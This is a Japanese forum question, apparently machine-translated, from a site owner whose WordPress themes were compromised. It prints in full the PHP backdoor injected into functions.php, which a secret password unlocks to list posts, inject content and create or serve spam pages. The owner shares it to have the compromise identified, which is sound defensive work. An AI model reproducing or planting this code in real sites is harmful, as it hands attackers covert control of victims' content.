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高齢者。WordPressテーマのfunctions.phpがハッキングされた理由を知りたい
私のサーバー上のすべてのWordPressテーマがハッキングされていることがわかりました。 functions.phpは自動的に修正され、次のコードがfunctions.phpに追加されました。それは何ですか？バグを発見する方法はありますか？それはあなたのサイトの各ページのすべてのコンテンツを書き換えだ、誰かがパスワードでログインする場合にのみ、それが参照するようおかげで
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f1d2299e....fe9f82032985c905'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ($wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"') == '1')
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo('charset');
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo('pingback_url');
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
?>